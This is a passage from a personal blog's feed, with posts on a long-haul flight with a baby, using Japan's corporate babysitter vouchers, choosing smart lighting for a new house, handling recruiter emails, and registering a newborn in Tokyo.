&lt;p&gt;Once the seatbelt sign was off, a flight attendant installed the baby basinet. The baby ate and then fall asleep and slept for almost 10 hours, only waking up a few times to eat. As the flight was leaving in the night, the crew turned down the lights inside the aircraft after takeoff, which helped a lot to keep the baby sleeping. And it also helped us take a rest (for which the extra legroom was really helpful).&lt;/p&gt;

&lt;p&gt;After around 10 hours, the baby woke up and the crew turned on the lights shortly after. Our baby is usually energetic in the morning, so she was fine, played a bit with the flight attendants and nearby passengers. We got breakfast, and we were almost ready to land.&lt;/p&gt;

&lt;p&gt;The crew took away the baby basinet before landing, and we had to hold the baby, but she was fine. The landing itself went without issues (again my wife would have fed the baby if she would not have been happy).&lt;/p&gt;

&lt;h1 id=&quot;from-the-airport&quot;&gt;From the airport&lt;/h1&gt;

&lt;p&gt;Luggage pickup and passport control went well, and we were on our way to meet my mom who came to pick us up at the airport. The drive home, while only 3 hours, was actually one of the hardest parts, as the baby is not yet used to the child seat. We don’t have a car in Tokyo, and while we rented cars a few times to try, she is still not fully used to it. But even here she only cried a few times, and slept big part of the way.&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>How to use the corporate babysitter vouchers (ベビーシッター派遣事業割引券)?</title>
   <link href="https://szabo.jp/2024/08/02/corporate-babysitter-voucher/"/>
   <updated>2024-08-02T00:00:00+00:00</updated>
   <id>https://szabo.jp/2024/08/02/corporate-babysitter-voucher</id>
   <content type="html">&lt;p&gt;All levels of the Japanese government have various programs to support people with kids. One of this, ベビーシッター派遣事業割引券, is a national program subsidizing baby sitters for working parents: companies can purchase baby sitter tickets and give it to their employees. My company is participating in this, and since it is a bit complicated to use, I’ll describe how to use it in this post.&lt;/p&gt;

&lt;!--break--&gt;

&lt;h2 id=&quot;1-get-the-tickets-from-your-company&quot;&gt;1. Get the tickets from your company&lt;/h2&gt;

&lt;p&gt;My company uses a Google Form that employees can fill out and get 1-4 tickets assigned each week on Friday mornings. We have 2 weeks to use them, then they get revoked. Also we are only allowed to use them during working hours and not during weekends. Check your internal rules on how to apply and any additional conditions.&lt;/p&gt;

&lt;p&gt;Once you get the tickets, you should receive a set of URLs like this: &lt;a href=&quot;https://atms-bs.jp/eticket/e5fa44f2b31c1fb553b6021e7360d07d5d91ff5e&quot;&gt;https://atms-bs.jp/eticket/e5fa44f2b31c1fb553b6021e7360d07d5d91ff5e&lt;/a&gt; that show a site like this:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/2024-08-02-corporate-babysitter-voucher/ticket-1.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;At the bottom of the page you can see the ticket code, the authentication code, the approval number, your employer’s name and your name:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/2024-08-02-corporate-babysitter-voucher/ticket-2.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;2-find-a-baby-sitter-site-that-accept-these-coupons&quot;&gt;2. Find a baby sitter site that accept these coupons&lt;/h2&gt;

&lt;p&gt;This involves a lot of Googling and/or asking your colleagues and HR for recommendations. We had success with (Poppins Sitter)[https://smartsitter.jp/], but since most of these websites just connect you with some local, freelancer baby sitters, the availability and quality of the sitters will vary greatly between locations.&lt;/p&gt;

&lt;p&gt;Some other websites I’ve seen recommended:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.poppins.co.jp/&quot;&gt;ポピンズナニーサービス&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://mormor.co.jp/en/&quot;&gt;mormor&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.mammy-hills.com/&quot;&gt;Mammy Hills&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://may-corp.co.jp/&quot;&gt;Mammy’s service&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Though I don’t have experience with these.&lt;/p&gt;

&lt;p&gt;Make sure the site accepts these tickets (also sometimes the program is called こども家庭庁ベビーシッター券 and I believe it’s the same thing).&lt;/p&gt;

&lt;h2 id=&quot;3-find-a-baby-sitter&quot;&gt;3. Find a baby sitter&lt;/h2&gt;

&lt;p&gt;This is the hardest part: look through the listings on the site and find someone that is available and looks good to you. Make sure the sitter accepts the tickets, as some could choose not to, even if the platform supports it. There should be a search condition for this.&lt;/p&gt;

&lt;p&gt;You might want to message the baby sitter at this point if you have any question or to confirm the date, however do not schedule the time yet.&lt;/p&gt;

&lt;h2 id=&quot;4-register-the-tickets-on-the-website&quot;&gt;4. Register the tickets on the website&lt;/h2&gt;

&lt;p&gt;You need to register the baby sitter tickets by their ID on the reservation website, e.g. &lt;a href=&quot;https://smartsitter.jp/column/naikakufu_baby_sitter_ticket/#toc-15&quot;&gt;this is how to do it with Poppins Sitter&lt;/a&gt;. Even though some of the numbers will be the same between tickets, you still need to add each ticket one by one.&lt;/p&gt;

&lt;h2 id=&quot;5-schedule-the-baby-sitter&quot;&gt;5. Schedule the baby sitter&lt;/h2&gt;

&lt;p&gt;Make the reservation on the website and select the previously registered tickets. With some sites (like Poppins Sitter) the discount is reflected immediately and you only pay the remaining price. I have seen some sites where they charge you the full price and later refund the value of the tickets.&lt;/p&gt;

&lt;h2 id=&quot;6-active-the-ticket&quot;&gt;6. Active the ticket&lt;/h2&gt;

&lt;p&gt;This is the step that we missed initially and the baby sitter platform ended up e-mailing us. Even though you already registered the ticket, you still need to manually activate each ticket. This can be done on the day of the sitting or afterwards.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Open the URL that came with the ticket (the one like &lt;a href=&quot;https://atms-bs.jp/eticket/e5fa44f2b31c1fb553b6021e7360d07d5d91ff5e&quot;&gt;https://atms-bs.jp/eticket/e5fa44f2b31c1fb553b6021e7360d07d5d91ff5e&lt;/a&gt;)&lt;/li&gt;
  &lt;li&gt;Tick the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;上記内容を確認し同意します&lt;/code&gt; checkbox and click the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;チケットを利用する&lt;/code&gt; button&lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;If the babysitter has a QR code, you can scan it. Otherwise click the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;QRコードが読み取れない場合はこちら&lt;/code&gt; link, find the code of the platform (e.g. &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;222R222&lt;/code&gt; &lt;a href=&quot;https://smartsitter.jp/faq/952&quot;&gt;for Poppins Sitter&lt;/a&gt;) and enter that&lt;/p&gt;

    &lt;p&gt;&lt;img src=&quot;/assets/2024-08-02-corporate-babysitter-voucher/using-the-ticket-1.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Confirm the name of the baby sitter company, input the time of the sitting, the name of the child, the birthday of the child, the baby sitter’s name and the prefecture of use:&lt;/p&gt;

    &lt;p&gt;&lt;img src=&quot;/assets/2024-08-02-corporate-babysitter-voucher/using-the-ticket-2.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;Accept the privacy policy and go to the next page&lt;/li&gt;
  &lt;li&gt;Confirm what you just entered and click &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;利用する（確定）&lt;/code&gt; if everything looks good&lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Done!&lt;/p&gt;

    &lt;p&gt;&lt;img src=&quot;/assets/2024-08-02-corporate-babysitter-voucher/using-the-ticket-3.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Repeat this for each tickets.&lt;/p&gt;

&lt;p&gt;The site doesn’t remember any of the data (it would be nice to have at least the baby’s name and birthday pre-filled), but Chrome’s drop-down form fill help at least remembers the name of the sitter and the child.&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Smart lighting options in Japan</title>
   <link href="https://szabo.jp/2024/07/28/smart-lights-overview/"/>
   <updated>2024-07-28T00:00:00+00:00</updated>
   <id>https://szabo.jp/2024/07/28/smart-lights-overview</id>
   <content type="html">&lt;p&gt;We are in the process of building our house, and I want to use this opportunity to add some smart home solutions. Right now my focus is on ensuring that the things that come with the house are capable of “being smart” (controlled with automation). Big part of this is lighting, and in this post I’ll review what I learned about smart lighting options available in Japan.&lt;/p&gt;

&lt;!--break--&gt;

&lt;h1 id=&quot;our-goals&quot;&gt;Our goals&lt;/h1&gt;

&lt;p&gt;Our requirements for the smart light setup:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;Works with &lt;a href=&quot;https://www.home-assistant.io/&quot;&gt;Home Assistant&lt;/a&gt; - I used it in the past and really liked it&lt;/li&gt;
  &lt;li&gt;Reliable - I want to limit the times I have to reconnect/re-pair devices&lt;/li&gt;
  &lt;li&gt;No batteries - again, low maintenance as much as possible&lt;/li&gt;
  &lt;li&gt;Lights need to work even if all the smart home is broken. I don’t want to end up in a dark house just because an update went wrong and I need to rebuild/restore the config (also I especially don’t want my family in this situation). There has to be an intuitive fall-back that works (e.g. turn light on-off-on to bring it back to full brightness)&lt;/li&gt;
  &lt;li&gt;Should be intuitive and should enhance the experience for everyone including when we have guests over&lt;/li&gt;
  &lt;li&gt;Should not make us stupid. We have relatives who have automatic light in the toilet at home, so they often forget to turn off the light when they are at our place. Especially for our small kids, the home is where they learn how a house works, so making sure they know what a light switch is, is important.&lt;/li&gt;
&lt;/ol&gt;

&lt;h1 id=&quot;japan-specific-rules&quot;&gt;Japan-specific rules&lt;/h1&gt;

&lt;p&gt;After reading many reddit and facebook posts, the general consensus seems to be the following:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;only certified electricians are allowed to do any work on the electric network that requires the breaker to be turned off. So e.g. a regular person can change a lightbulb or install a new lamp, but can’t rewire a switch. The main issue with this being illegal is that if there is a fire, the insurance company might claim that it happened due to the unlicensed electrician work and refuse to pay. (But there are some people that say that the risk of this is pretty minimal unless the fire was from the electric device.) One workaround to this is to get the electrician’s license, which (to my surprise) some foreigners &lt;a href=&quot;https://www.youtube.com/watch?v=vTruug7JLqg&quot;&gt;actually do just for the sake of doing work on their own homes&lt;/a&gt;.&lt;/li&gt;
  &lt;li&gt;most electricians refuse to install smart switches imported from abroad if they have not been certified in Japan. This includes not only random stuff from Aliexpress, but also reputable, widely used brands from the US or Europe (e.g. Inovelli)&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;I have heard these mentioned at multiple threads, so this seems to be the general consensus, but I did not check the relevant laws in detail, so it might be incorrect.&lt;/p&gt;

&lt;p&gt;There is one more condition, specific to our home: we plan on applying for some government subsidies for building an energy efficient house, and this means that all lights have to be energy efficient. Since we are working with a big builder, &lt;a href=&quot;https://www.ichijo.co.jp/&quot;&gt;Ichijo&lt;/a&gt;, they said that this means that we have to get all lights from them and can’t bring our own or buy lights elsewhere (even if the other lights would fulfill the energy efficiency requirements, the builder just doesn’t want to handle the additional paperwork). So initially we have to get all lights from them, but we can change them later.&lt;/p&gt;

&lt;h1 id=&quot;options&quot;&gt;Options&lt;/h1&gt;

&lt;p&gt;So what smart lighting options do exist? There are generally two approaches:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;smart bulbs&lt;/li&gt;
  &lt;li&gt;smart switches&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;smart-bulbs&quot;&gt;Smart bulbs&lt;/h2&gt;

&lt;p&gt;Many company from IKEA to Philips offer smart light bulbs that connect to some network (e.g. Zigbee or Wifi) and can be controlled remotely. They often offer brightness and color or color temperature controls too.&lt;/p&gt;

&lt;p&gt;They are pretty cheap starting from around &lt;a href=&quot;https://www.ikea.com/jp/en/p/tradfri-led-bulb-e26-810-lumen-smart-wireless-dimmable-warm-white-globe-30541515/&quot;&gt;1,000 yen for a dimmable IKEA LED bulb&lt;/a&gt; to &lt;a href=&quot;https://www.amazon.co.jp/Philips-%E3%83%95%E3%82%A3%E3%83%AA%E3%83%83%E3%83%97%E3%82%B9%E3%83%92%E3%83%A5%E3%83%BC-%E3%82%B9%E3%83%9E%E3%83%BC%E3%83%88%E3%83%A9%E3%82%A4%E3%83%88-%E3%83%95%E3%83%AB%E3%82%AB%E3%83%A9%E3%83%BC100W-Bluetooth/dp/B09JS5DN5Q/&quot;&gt;9,000 yen for a full RGB Philips Hue bulb&lt;/a&gt; (both of these work with Zigbee).&lt;/p&gt;

&lt;p&gt;These systems require the bulbs to be powered on at all times, and the use of additional buttons as switches (IKEA and Philips both sell these buttons). And this is where the main issue comes in. We have two options for what to do with the traditional switches in this setup:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;Leave them as-is (they can cut the power to the bulbs). This is good as a fall-back if the smart lights disconnect or if HomeAssistant is down (most lights will go back to full brightness if you turn them on-off-on quickly), but they present an issue: if someone turns off a light with the switch, there is no way for an automation to turn it back on.&lt;/li&gt;
  &lt;li&gt;Remove the old switches and connect the lights to power permanently. This is an issue when there is any problem with the smart system, and also one needs to turn the breaker off when switching light bulbs. This operation should be done by an electrician and one would need to undo them before selling the house.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Both of these options come with compromise that I don’t like.&lt;/p&gt;

&lt;h2 id=&quot;smart-switches&quot;&gt;Smart switches&lt;/h2&gt;

&lt;p&gt;The other approach is to use smart switches: these can be operated manually (you press them, they turn the light on/off), and also remotely. Some of them are capable of dimming the lights, and they do this by sending less electricity to the bulbs (so not all lights will be compatible with them).&lt;/p&gt;

&lt;p&gt;Normally a live wire is connected to the switch, then from the switch to the light, then the light to the neutral. When the switch is on, it connects the 2 wires and current will flow to the light. When the switch is off, the wires are disconnected, so no current is flowing and the light stays dark. However this presents a problem: when no current is flowing, the switch also doesn’t have power to operate. There are two main ways to solve this:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;2-wire type switches&lt;/strong&gt;: these are connected like regular switches (one side to the live wire, one to the light), but even when they are off, they let through a small amount of current. This makes it possible for them to operate, and the small current should still leave the lights dark. However this depends on the light, and some might make some humming noise or produce a bit of light. These switches can be used to directly replace existing, dumb switches without additional wiring.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;3-wire type switches&lt;/strong&gt;: the switch gets an additional wire, a neutral. So now it can create two circuits: (live - switch - neutral) for the switch’s operation and the usual (live - switch - light - neutral) for running the light. This means that when the light is off, there is no current flowing through the light. But it needs the extra neutral wire at the switch that dumb switches don’t usually have.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Since we are building our house from scratch, we can easily bring neutral wires to the switches, so we will go with the 3-wire type switches.&lt;/p&gt;

&lt;p&gt;The smart switch approach can’t adjust the color of the lights, so e.g. you can’t make your lights &lt;a href=&quot;https://github.com/basnijholt/adaptive-lighting&quot;&gt;follow the circadian rhythm&lt;/a&gt; (make the lights warm white at night).&lt;/p&gt;

&lt;p&gt;From &lt;a href=&quot;https://ameblo.jp/08s3013b/entry-12641354640.html&quot;&gt;this blog post&lt;/a&gt; I found 3 options available in Japan:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://sumai.panasonic.jp/wiring/switch_concent/series/advnace.html&quot;&gt;Panasonic’s Advanced Series Link Plus&lt;/a&gt; - these use Bluetooth, and can be controlled directly from your phone (within Bluetooth range) and they come with an &lt;a href=&quot;https://www2.panasonic.biz/jp/densetsu/haisen/switch_concent/advance/lineup/linkplus/wireless_adapter/&quot;&gt;optional hub&lt;/a&gt; that let’s you control them over WiFi. The hub &lt;a href=&quot;https://echonet.jp/introduce_en/gz-000755/&quot;&gt;supports the Echonet Lite protocol&lt;/a&gt; and &lt;a href=&quot;https://github.com/scottyphillips/echonetlite_homeassistant#:~:text=Panasonic-,Link%20Plus%20WTY2001,-GeneralLighting%2C%20Lighting%20system&quot;&gt;echonetlite_homeassistant supports the hub&lt;/a&gt;. This is my preferred option, and I will go into more details later.&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.odelic.co.jp/products/connected_switch/&quot;&gt;Odelic Connected Lighting&lt;/a&gt; - I like that their regular switches have a joystick-like circular button in the middle to control brightness and color temperature, and the switch is a bit cheaper than Panasonic (&lt;a href=&quot;https://www.odelic.co.jp/webcatalog/dpm/vol_197/index.html#target/page_no=1058&quot;&gt;starting from 15,000 yen&lt;/a&gt;). However if I understand correctly these switches only work with their own lights, as they keep the lights powered on at all times and then communicate via bluetooth from the switch to the light. Not a bad design, but since we have to get our lights from the builder, this won’t work for us (also the vendor lock in is an issue, e.g. if this company goes out of business or stops making these smart lights, we can’t get lights from an other company)&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.koizumi-lt.co.jp/product/jyutaku/tree/&quot;&gt;Koizumi TRee&lt;/a&gt; - I didn’t look into it deeply as their &lt;a href=&quot;https://webcatalog.koizumi-lt.co.jp/kensaku/item/detail/id/4544440000&quot;&gt;simple switch is 20,800 yen&lt;/a&gt; and &lt;a href=&quot;https://www.lightstyle.jp/?cn=100026&amp;amp;shc=10092114&quot;&gt;the hub is 45,000 yen&lt;/a&gt; making them more expensive than Panasonic. But since their reference wiring diagram only has item numbers for the switches and not for the lights, I’d assume it works with any light (similar to Panasonic’s system). Also the website clearly mentions EchonetLite support, which is a plus.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;So I prefer the Panasonic one, but that’s pricey: a &lt;a href=&quot;https://www2.panasonic.biz/jp/densetsu/haisen/switch_concent/advance/lineup/linkplus/2wire_handle/&quot;&gt;simple switch retails for 16,000 yen&lt;/a&gt; and the one with dimmer &lt;a href=&quot;https://www2.panasonic.biz/jp/densetsu/haisen/switch_concent/advance/lineup/linkplus/2wire_rotary/&quot;&gt;goes for 21,000 yen&lt;/a&gt; (around 10x more than the price of a “dumb” switch). And one also needs the &lt;a href=&quot;https://www2.panasonic.biz/jp/densetsu/haisen/switch_concent/advance/lineup/linkplus/wireless_adapter/&quot;&gt;hub (無線アダプタ) for 34,000 yen&lt;/a&gt; and potentially &lt;a href=&quot;https://www2.panasonic.biz/jp/densetsu/haisen/switch_concent/advance/lineup/linkplus/wireless_repeater/&quot;&gt;repeaters every 30m for another 26,000 yen each&lt;/a&gt;. A quick calculations shows that just the switches in our new house would be around 400-500,000 yen.&lt;/p&gt;

&lt;p&gt;In comparison, &lt;a href=&quot;https://inovelli.com/products/zigbee-matter-blue-series-smart-2-1-on-off-dimmer-switch&quot;&gt;Inovelli’s 2-1 Switch is only $50&lt;/a&gt; (7,000-8,000 yen) and &lt;a href=&quot;https://ja.aliexpress.com/item/4000810935841.html&quot;&gt;Xiaomi Mijia BLE switches are around 2,000 yen from Aliexpress&lt;/a&gt;. But these would either need me to get an electrician license, find an electrician who is willing to install them, or risk issues with insurance.&lt;/p&gt;

&lt;p&gt;Benefit of the Advanced Series (other than being the only option): the switches look sleek, are intuitive to use for humans (great for guests), have &lt;a href=&quot;https://www2.panasonic.biz/jp/densetsu/haisen/switch_concent/advance/lineup/linkplus/2wire_handle/&quot;&gt;2-wire&lt;/a&gt; and also &lt;a href=&quot;https://www2.panasonic.biz/jp/densetsu/haisen/switch_concent/advance/lineup/linkplus/3wire_handle/&quot;&gt;3-wire&lt;/a&gt; types, and our builder (Ichijo) said that they are willing to install it, so we can have them ready by the time we move in (and potentially save on the cost of the original switches and the installation).&lt;/p&gt;

&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h2&gt;

&lt;p&gt;Considering the pros and cons of both options, I’m leaning towards the smart switches option with additionally having some of our lights smart too for color control. At these lights we only need a regular smart switch (not the dimmer one), which saves a bit on the switch.&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>A low-effort way of getting paid well</title>
   <link href="https://szabo.jp/2024/05/17/a-low-effort-way-of-getting-paid-well/"/>
   <updated>2024-05-17T00:00:00+00:00</updated>
   <id>https://szabo.jp/2024/05/17/a-low-effort-way-of-getting-paid-well</id>
   <content type="html">&lt;p&gt;I work in IT, which generally means great salaries, but there is still a difference between companies. Moreover &lt;a href=&quot;https://www.search.co.uk/insights-advice/career-advice/unlocking-higher-salary-potential-why-changing-jobs-can-boost-your-earnings/&quot;&gt;changing jobs leads to higher compensation on average&lt;/a&gt;, as one is in a better negotiation position when joining a company compared to when simply asking for a raise.&lt;/p&gt;

&lt;p&gt;However constantly looking for jobs and interviewing requires substantial efforts, so I have a more passive approach to it.&lt;/p&gt;

&lt;!--break--&gt;

&lt;h1 id=&quot;let-the-recruiters-work-for-you&quot;&gt;Let the recruiters work for you&lt;/h1&gt;

&lt;p&gt;As most people in IT, there are a few recruiters every week/month reaching out about an amazing new opportunity. They send these emails automatically to anyone who matches their criteria, so instead of me checking the job post and try to figure out if it could be a good fit, I play a reverse Uno card and send them back a template answer with my requirements:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;Hi,&lt;/p&gt;

  &lt;p&gt;Thanks for reaching out! Right now I’m not looking for new opportunities as I am very satisfied with my current position. Thus for me to consider a position it has to fulfill the followings:&lt;/p&gt;
  &lt;ul&gt;
    &lt;li&gt;x million yen yearly total compensation&lt;/li&gt;
    &lt;li&gt;Generous PTO policy, including paternity leave&lt;/li&gt;
    &lt;li&gt;English-speaking team&lt;/li&gt;
    &lt;li&gt;Full remote or hybrid (in Tokyo) work arrangement&lt;/li&gt;
    &lt;li&gt;Senior or staff engineer title&lt;/li&gt;
  &lt;/ul&gt;

  &lt;p&gt;Please let me know if you have something that would match these criteria.&lt;/p&gt;

  &lt;p&gt;Thanks and kind regards,&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;em&gt;The real message has an actual value for compensation that I will talk about later.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;This essentially gives all the inputs a good recruiter needs to see if the job could be a fit for me or not, and then we can continue accordingly. Recruiters should have these information readily available, and even if the job post doesn’t talk about compensation, they generally know the band, so they can see if my ask is within that. This way we can both avoid investing more effort into something that will definitely not work out.&lt;/p&gt;

&lt;p&gt;This also opens up the possibility for the recruiter to consider me for any other job that might come across their desk, if it fits my requirements.&lt;/p&gt;

&lt;h1 id=&quot;deciding-your-price&quot;&gt;Deciding your price&lt;/h1&gt;

&lt;p&gt;The criteria that makes or breaks most job posts is whether the company is willing to pay the compensation I’m asking for. This is especially true on the Japanese IT job market, where traditional Japanese companies treat IT engineers as a normal office worker paying them the general salaryman salary (~5 million yen), while companies competing for foreign talent (branches of foreign companies like Google, Amazon, Indeed, and modern Japanese companies like Woven, Mercari) will pay closer to the IT salaries of other developed countries (not necessarily Silicon-valley-level craziness, but 20m yen+ is possible from senior engineer, engineering manager level). This also leads to funny situations, like when the recruiter wanted to confirm if I added an extra 0 by mistake, saying that even the CEO doesn’t make as much as I asked for.&lt;/p&gt;

&lt;p&gt;So how do I come up with the amount? I start with my expected total yearly compensation of next year at my current job, then depending on how much I enjoy my current work I add 10-30%. Unless I’m unhappy with my current workplace, I wouldn’t go below 10%, to compensate for the risk that the job might be worse than the current one (and there is only so much information I can gather during the interviews).&lt;/p&gt;

&lt;p&gt;One more factor I consider is how busy I am in my life, e.g. I just had a baby, so right now I would need much more to convince me to go through all the interviews and onboarding, so I make the percentage higher.&lt;/p&gt;

&lt;p&gt;While I have a default price in my template, if the recruiter starts with mentioning the company or industry, I sometimes adjust it. E.g. banking/finance? Let me add another 10% as I have doubts about how much fun the work would be. Crypto? Let me add another 20% to compensate for the instability. Space-related? Maybe I can lower the % a bit.&lt;/p&gt;

&lt;p&gt;Ultimately I believe that for 99% of people if a job opportunity comes along that is identical to their current job but pays twice, they will take it. So companies shouldn’t expect loyalty, instead they should ensure that they pay people well, and provide good conditions, so that that extra % is high enough to push people out of band for other places.&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Newborn baby paperwork in Tokyo</title>
   <link href="https://szabo.jp/2024/05/09/newborn-paperwork/"/>
   <updated>2024-05-09T00:00:00+00:00</updated>
   <id>https://szabo.jp/2024/05/09/newborn-paperwork</id>
   <content type="html">&lt;p&gt;We recently had a baby in Tokyo, and in this post I’ll share our experience with the required paperwork (mostly in chronological order).&lt;/p&gt;

&lt;p&gt;Our situation for reference:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;my wife is Japanese, thus our baby is also Japanese, so the baby doesn’t need residence card and visa&lt;/li&gt;
  &lt;li&gt;we live in Tokyo, and some of these programs are provided by the Tokyo prefecture (but other prefecture might have similar programs)&lt;/li&gt;
  &lt;li&gt;I work for a Japanese company as a fulltime employee (会社員), and they provides my health insurance&lt;/li&gt;
&lt;/ul&gt;

&lt;!--break--&gt;

&lt;h1 id=&quot;1-hospital-get-the-birth-certificate&quot;&gt;1. Hospital: get the birth certificate&lt;/h1&gt;

&lt;p&gt;In the hospital we received a paper like this:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/2024-05-09-newborn-paperwork/birth-certificate.png#lb&quot; alt=&quot;Birth certificate received in the hospital - source: https://osaka-everest.com/shusseishoumei/&quot; /&gt;&lt;/p&gt;

&lt;p&gt;The hospital filled out the right side (the one circled in red), and we needed to fill out the rest. This is one of the things to bring to the city hall in the next step.&lt;/p&gt;

&lt;h1 id=&quot;2-city-hall-register-the-birth&quot;&gt;2. City hall: Register the birth&lt;/h1&gt;

&lt;p&gt;Submit the above mentioned document (出生届, しゅっせいとどけ, Birth registration) at the city hall. One parent can do this without the baby (but note that in this case only that parent can request the 出生届受理証明書, Certificate of birth registration acceptance, document that some embassies require). You can find the details on your city’s website, e.g. for Mitaka: https://www.city.mitaka.lg.jp/c_service/000/000307.html&lt;/p&gt;

&lt;p&gt;There is also a page in the Mother’s Book about the childbirth, that we filled out at home and the city hall stamped it. My company asked for a copy of this when applying for the insurance card for the baby.&lt;/p&gt;

&lt;p&gt;Once submitted, the city hall staff asked me to go to 2 other counters in the city hall to do the next 2 steps.&lt;/p&gt;

&lt;h1 id=&quot;3-city-hall-乳幼児医療費助成にゅうようじ-いりょうひ-じょせいsubsidies-for-medical-treatment-of-infants&quot;&gt;3. City hall: 乳幼児医療費助成（にゅうようじ いりょうひ じょせい）Subsidies for medical treatment of infants&lt;/h1&gt;

&lt;p&gt;Normally we pay for 30% of medical costs (rest is insurance), but Tokyo covers even that 30% for children living in Tokyo. You need to apply for this though, and that’s this step. The form was simple and they helped me fill it out.&lt;/p&gt;

&lt;p&gt;They asked me to come back and show the baby’s insurance card once it was ready, and at that time they gave me the certificate (piece of paper). The hospital asked us to bring these two (baby’s insurance card, this certificate) to the one month check-up.&lt;/p&gt;

&lt;p&gt;At this point they also explained the process of how to get a refund for medical costs incurred before getting this certificate or outside of Tokyo (where kids need to pay 30% as usual and we can ask it back from Tokyo later).&lt;/p&gt;

&lt;h1 id=&quot;4-city-hall-児童手当じどう-てあてchild-allowance&quot;&gt;4. City hall: 児童手当（じどう てあて）Child Allowance&lt;/h1&gt;

&lt;p&gt;For kids up to 15 years old Japan gives a monthly allowance depending on the income of the parents: https://www.city.mitaka.lg.jp/c_service/031/031574.html As of early 2024, if the parents make more than 12 million yen, then they are not eligible for this, however from December 2024 the income limit is planned to be removed.&lt;/p&gt;

&lt;p&gt;There were other things at the city hall that one can apply for, but they were not relevant for us. Check your city’s website for details.&lt;/p&gt;

&lt;h1 id=&quot;5-city-hall-or-konbini-住民票-じゅうみんひょう-residence-certificate-with-the-baby-listed&quot;&gt;5. City hall or konbini: 住民票 (じゅうみんひょう) Residence certificate with the baby listed&lt;/h1&gt;

&lt;p&gt;As the baby is part of my household, I could request a 住民票 at a konbini using my own My Number card (after the baby was registered at the city hall). I could have also asked for this at the city hall, but it takes a long time at our city hall and also more expensive than getting it at a konbini. Don’t include the MyNumber on the certificate (otherwise you will be asked to mask it later). Getting this is important for the 018 Support application (in a later step).&lt;/p&gt;

&lt;h1 id=&quot;6-registered-the-baby-in-my-companys-hr-system&quot;&gt;6. Registered the baby in my company’s HR system&lt;/h1&gt;

&lt;p&gt;As the baby is my dependent, I had to add them to my company’s HR system. This process also included the application for the health insurance card for the baby (as they are covered by my company’s health insurance), and application for a congratulatory money (a one time 10,000 yen minus tax). In addition, I also had to apply for the parental leave on a separate form (my company provides more than the legally required, so this might be different for other companies).&lt;/p&gt;

&lt;p&gt;The baby’s health insurance card arrived to our home in 9 days after applying for it.&lt;/p&gt;

&lt;p&gt;It took 1.5 week for the parental leave days to show up in the holiday request system (but the system allows marking the days retroactively, so I could start my paternity leave right after the baby was born).&lt;/p&gt;

&lt;h1 id=&quot;7-city-hall-once-you-get-the-babys-insurance-card-pick-up-the-乳幼児医療費助成-certificate&quot;&gt;7. City hall: once you get the baby’s insurance card, pick up the 乳幼児医療費助成 certificate&lt;/h1&gt;

&lt;p&gt;My city hall asked me to either mail them a copy of the baby’s insurance card, or show it in person to receive the 乳幼児医療費助成 certificate requested earlier. I went in-person and got the certificate quickly (my wife called them earlier, so they had it ready).&lt;/p&gt;

&lt;h1 id=&quot;8-online-apply-for-tokyos-018-support&quot;&gt;8. Online: apply for Tokyo’s 018 Support&lt;/h1&gt;

&lt;p&gt;Tokyo gives 5,000 yen/month to all kids 0-18 years old regardless of their parents income (as long as they live in Tokyo). Apply for this online on https://018support.metro.tokyo.lg.jp/ You will need the 住民票 listing the baby’s name, without the MyNymbers (requested earlier)&lt;/p&gt;

&lt;h1 id=&quot;9-embassy-register-the-baby-at-the-embassy&quot;&gt;9. Embassy: register the baby at the embassy&lt;/h1&gt;

&lt;p&gt;I haven’t done this, but I’m supposed to register the baby at my embassy and get them a passport.&lt;/p&gt;

